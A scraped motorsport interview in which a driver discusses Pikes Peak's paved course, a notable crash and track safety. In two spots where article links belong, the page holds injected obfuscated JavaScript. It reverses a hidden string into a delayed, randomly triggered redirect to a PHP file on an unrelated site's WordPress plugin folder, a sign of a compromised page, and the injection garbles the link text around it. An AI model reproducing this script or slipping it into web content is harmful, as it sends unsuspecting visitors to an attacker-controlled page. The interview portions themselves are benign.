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“That what’s so difficult. Nobody learns Nurburgring in just a few practice laps, and nobody learns Pikes Peak in one year. That’s one of the things that really attracts me to it actually, because I know the place so well. Absolutely love it! Dream it! There are certain sections back when it used to be all dirt that just flowed so nicely, when you could stand on the throttle, pulling at the ground and trying to bring the car back to you. It was so much fun.”
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It seems to be the kind of event where, even with your vast experience, you still learn something new every year…
“The thing that we’ve faced is that it keeps changing. There was more and more pavement to the point that now it’s all completely paved. That’s the biggest thing.
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“The hard part is that you don’t learn a lot about the course during the week because the surface changes so much. If you think you’re going to come committed in third gear into a particular corner and you think you know where that turn is going to be, it doesn’t always work because everything keeps changing. You’re usually driving with your intuitions. You make a few notes along there each year, but the big thing has been the introduction of paving.”
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What are your personal thoughts on the new paved layout? It has caused quite a lot of controversy with fans and competitors alike…
“It was something that had to be done. It’s interesting actually because now they’re getting more entries than ever now! I…people didn’t want to run there when it was all dirt, and yet it’s a lot more dangerous now (laughs). In the dirt you were sliding, so because you’re sliding you’ve released some energy and dropped some speed. Now on the pavement, we drive right up to the ragged edge, right there, right there, and you hope that the turn takes you. When you get it wrong, you’re releasing a lot of energy on a road that’s just 30 feet wide. No guardrails, big drops, things like that. We saw the Evo go over last year…
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Yes, Jeremy Foley and Yuri Kouznetsov’s terrifying accident. Fortunately they walked out unscathed but it’s still difficult to watch….
“Yeah, you do feel for the guys and obviously you don’t want anything to happen to them. Then $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/pikes-peak-international-hill-climb-dropping-it-literally/” target=”_blank”>you watch the footage and wonder what were they doing over there anyway?! (laughs)
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“But it’s all down to luck. $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/vision/jeremy-foley-pikes-peak-crash-the-aftermath/” target=”_blank”>There could have been ten more tumbles and one big bolder. There’s nothing that’s consistent, so it’s all down to luck. But obviously I hope nobody else goes off there. It’s a corner [the aptly named Devil’s Playground] with no guardrail and it’s particularly blind, and it’s a place where you’re committing to letting an extra burst of speed flow through there. So it’s tricky.”
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It seems inevitable that next year there will be further improvements to safety. Obviously everybody would like to avoid a similar accident, but what are your thoughts on that? Would improving the safety take some of the edge off Pikes Peak?
“We’re having meetings to make the course safer, but it’s like a living organism up there. It’s really hard. You ‘ve got 156 turns and 12.5 miles [around 20 kilometres] plus changeable weather conditions – 14,000ft up, there’s ten feet of snow! These are things about that mountain that just need to be left alone. As a driver, you have to be aware and….that’s not the nature of racing all the time!”
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Given the height of the climb and the treacherous nature of the route, how big an impact does fear have on the competitors?
“For me, the word is ‘respect’. There are certain areas you respect, where you pull your braking back a little, and even left foot brake a little under throttle just to make sure they’re still there. Little things to give you an extra addition of confidence, because it’s a place where if you’re going to drive as quick as we do, you can’t think about going over the edge anywhere. It’s the same old thing, like you would be on the track: ‘I’m staying on the black stuff’. That’s very important
“But there are areas you just know are a little bit unforgiving and you’re going to leave a little bit on the table. Still, that’s not taking a lot of speed off!”
